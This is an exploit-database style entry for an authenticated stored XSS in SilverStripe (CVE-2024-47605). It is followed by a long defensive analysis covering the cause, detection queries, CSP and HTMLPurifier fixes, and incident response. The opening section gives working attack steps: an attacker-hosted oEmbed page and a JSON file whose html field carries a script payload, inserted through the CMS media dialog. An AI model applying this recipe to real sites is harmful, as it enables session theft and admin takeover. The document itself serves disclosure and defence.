SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated)

Exploit Author: James Nicoll Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-04-14
# Exploit Title: SilverStripe 5.3.8  - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 2025-01-15
# Exploit Author: James Nicoll
# Vendor Homepage: https://www.silverstripe.org/
# Software Link: https://www.silverstripe.org/download/
# Category: Web Application
# Version: 5.2.22
# Tested on: SilverStripe 5.2.22 - Ubuntu 24.04
# CVE : CVE-2024-47605

## Explanation:
When using the "insert media" functionality, the linked oEmbed JSON includes an HTML attribute which will replace the embed shortcode. The HTML is not sanitized before replacing the shortcode, allowing a script payload to be executed on both the CMS and the front-end of the website.

## Requirements
1. A Silverstripe CMS website.
2. Valid login credentials for a user with page edit rights.
3. An attacker server hosting malicious payload.

## On the attacker server:
1. Create an html file with oembded information:
```
<html>
  <head>
    <link rel="alternate" type="application/json+oembed" href="http://<attacker_server_ip>/oembed.json" title="Payload" />
  </head>
  <body>
    <img src="media.jpg">
  </body>
</html>
```
2. Create the json file with XSS payload:
```
{
    "title": "Title",
    "author_name": "author",
    "type": "video",
    "height": 113,
    "width": 200,
    "version": "1.0",
    "provider_name": "FakeSite",
    "thumbnail_height": 360,
    "thumbnail_width": 480,
    "thumbnail_url": "http://<attacker_server_ip>/media.jpg",
    "html":"<script>alert('hello world');</script>"
}
```
3. The media.jpg file can be any image.
4. Host these files on a publicly available website

## On the SilverStripe website:
1. Log into the admin portal with a user account that has page editor rights (or higher).
2. Select the page you wish to load the malicious content into.
3. Within the editor panel, select the "Insert Media via URL" button.
4. Enter the IP/Hostname of the attacker server.
5. Click Add Media, Insert Media, and then save and publish the page.


SilverStripe Authenticated Stored XSS (CVE-2024-47605) — Analysis, Detection, and Mitigation

Summary

This issue is an authenticated, stored cross-site scripting (XSS) vulnerability reported as CVE-2024-47605. It arises when the CMS "Insert media via URL" / oEmbed flow accepts an oEmbed JSON payload that contains an HTML fragment and inserts that HTML into page content without adequate server-side sanitization. An attacker who can edit pages (page editor role or higher) can cause arbitrary HTML returned by a remote oEmbed provider to be persisted and later rendered to CMS users and site visitors.

Why this matters

  • Stored XSS: The payload is persisted in the site content and triggers whenever the page is viewed — not just during edit time.
  • Authenticated attack vector: The attacker must have an account with page-editing privileges or be able to trick an editor into inserting the malicious media embed, which makes this a realistic threat on larger teams and multi-editor sites.
  • Impact: Session theft, content manipulation, admin interface abuse (e.g., creating new pages or changing configuration via a hijacked admin session), and further pivoting.

Technical root cause (high level)

oEmbed providers can return a JSON object that includes an "html" property containing markup intended for embedding (iframes, embeds, etc.). If the CMS trusts that HTML and substitutes it directly into an editor field or page template without sanitizing, any script or event-handler markup within that HTML will execute in the context of the CMS or the public page. The core issue is lack of server-side sanitization and inadequate validation of remote oEmbed data before persistence.

Safe illustrative example of oEmbed JSON

{
  "type": "video",
  "provider_name": "ExampleProvider",
  "width": 640,
  "height": 360,
  "thumbnail_url": "https://example.com/thumb.jpg",
  "html": "<div class="embed-placeholder">Embedded media safe markup</div>"
}

Explanation: This example shows a benign oEmbed JSON object where the html value contains only harmless markup (and is HTML-escaped in this snippet). A robust implementation will only allow a restricted subset of tags/attributes or will fully sanitize/transform the returned HTML before persisting it.

Detection and hunting (defender-focused)

  • Search the database for suspicious/inline script or event-handler attributes inside persisted content fields (editor content, rich text fields, or media embed fields).
  • Inspect recent edits and media insert events in CMS audit logs for inserts whose source URL pointed to untrusted domains.
  • Use a scanner to crawl published pages and flag inline <script> tags, javascript: URIs, or on* attributes (onclick, onload) in content areas.

Example (defensive) SQL-like detection pattern to locate potential stored script tags in content fields (adapt to your schema and escape queries properly):

SELECT "ID", "Title", "Content" FROM "SiteTree" WHERE "Content" ILIKE '%<script%';

Explanation: This query looks for rows where the Content column contains a literal <script sequence. Use equivalent queries for other tables/fields where embedded media may be stored. Note: always perform such searches against backups or read-only replicas when possible to avoid load on production.

Immediate mitigations (quick, low-risk)

  • Upgrade to a vendor-published patch or fixed SilverStripe release as soon as it is available and verified — this is the strongest mitigation.
  • Limit which roles can insert remote media. Restrict media-by-URL insertion to a trusted administrator role until a fix is applied.
  • Disable automatic remote oEmbed fetching if your site configuration allows it, or whitelist only known, trusted oEmbed provider domains.
  • Deploy a Content Security Policy (CSP) to mitigate execution of inline scripts and reduce impact of any injected markup.

Example CSP header to reduce inline script execution:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-'; object-src 'none'; base-uri 'self';

Explanation: A strict CSP can prevent inline <script> execution and better compartmentalize third-party resources. Inserting an application-generated nonce into allowed script sources enables legitimate inline scripts that are explicitly authorized while blocking unauthorized inline code. CSP is a defense-in-depth control and not a substitute for sanitization.

Recommended developer fixes

Server-side sanitization of any remote-provided HTML is essential. Treat all data from external oEmbed endpoints as untrusted and apply a whitelist-based sanitizer before persisting or rendering. Client-only sanitization is insufficient because stored content should be safe for all consumers (editors, preview, public pages).

Example (PHP) using HTMLPurifier to sanitize oEmbed HTML before saving:

<?php
// Require and configure HTMLPurifier (install via composer or include library)
require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();

// Example: restrict to a minimal set of tags/attributes suitable for embeds
$config->set('HTML.Allowed', 'a[href|title],img[src|alt|width|height],iframe[src|width|height|frameborder|allowfullscreen],div,span,p');
$config->set('URI.SafeIframeRegexp', '%^(https?:)?//(www\.youtube\.com/|player\.vimeo\.com/)%;');

$purifier = new HTMLPurifier($config);

// $oembedHtml is the raw html string extracted from remote oEmbed JSON
$safeHtml = $purifier->purify($oembedHtml);

// Persist $safeHtml instead of the raw value
// e.g. $record->Content = $safeHtml; $record->write();
?>

Explanation: This snippet demonstrates server-side HTML sanitization before persistence. The configuration selects a small set of allowed tags and attributes, and an explicit regular expression for trusted iframe sources. Adjust the allowed list to your needs and prefer explicit whitelists over blacklists.

Client-side option (additional layer)

// Example using DOMPurify in client-side code (not substitute for server-side sanitization)
const clean = DOMPurify.sanitize(remoteOembedHtml, {
  ALLOWED_TAGS: ['a','img','iframe','div','span','p'],
  ALLOWED_ATTR: ['href','src','alt','width','height','frameborder','allowfullscreen']
});
// Use 'clean' for preview, but still send raw remote data to server for server-side purification

Explanation: DOMPurify can be used for safe previews in the editor UI. However, server-side purifying + validation is still required; client-side sanitation is only supplementary.

Hardening recommendations and operational steps

  • Whitelist oEmbed provider domains and validate Content-Type headers (ensure application/json+oembed where applicable).
  • Enforce least privilege for content editors and review processes for externally sourced media.
  • Harden admin interfaces with multi-factor authentication and session timeouts to limit impact if an editor account is compromised.
  • Instrument logging: log all external media fetches and the source URLs; create alerts for unknown or new provider domains used in embeds.
  • Run periodic automated scans for stored XSS and add checks in your CI/CD pipeline for content-sanitization regressions.

Incident response and cleanup

  • Identify affected pages and remove or sanitize the offending embedded HTML from the persisted content.
  • Revoke or rotate user sessions and credentials for accounts that likely performed the malicious insertions.
  • Clear caches and CDN edge caches so purified content is served to end users and editors.
  • Review audit logs to determine the scope and timeline of the compromise; notify stakeholders and follow disclosure obligations if data or users were impacted.

Monitoring and detection rules (examples)

  • WAF rule to block POSTs or editor-save requests that introduce inline <script> tokens into rich-text fields (tune for false positives).
  • SIEM alert: a change to page content that contains an inline script and that change was authored by a non-admin or by a new/unexpected editor account.

References and next steps

  • Vendor: SilverStripe — follow the official advisory and upgrade guidance on the project website.
  • CVE: CVE-2024-47605 — use the CVE entry and vendor advisory for exact affected versions and the fixed release.
  • Mitigation summary: patch promptly, sanitize oEmbed HTML server-side using a whitelist-based sanitizer, restrict media insertion rights, and apply CSPs and monitoring for defense-in-depth.

Final expert notes

Authenticated stored XSS in a CMS can be especially damaging because it targets trusted users and administrative workflows. The best defense combines policy (least privilege), secure defaults (disabled or restricted remote embeds), and technical controls (server-side sanitization, CSP, content whitelisting, provider validation). Prioritise applying the vendor patch, then follow up with the operational hardening and monitoring measures described above.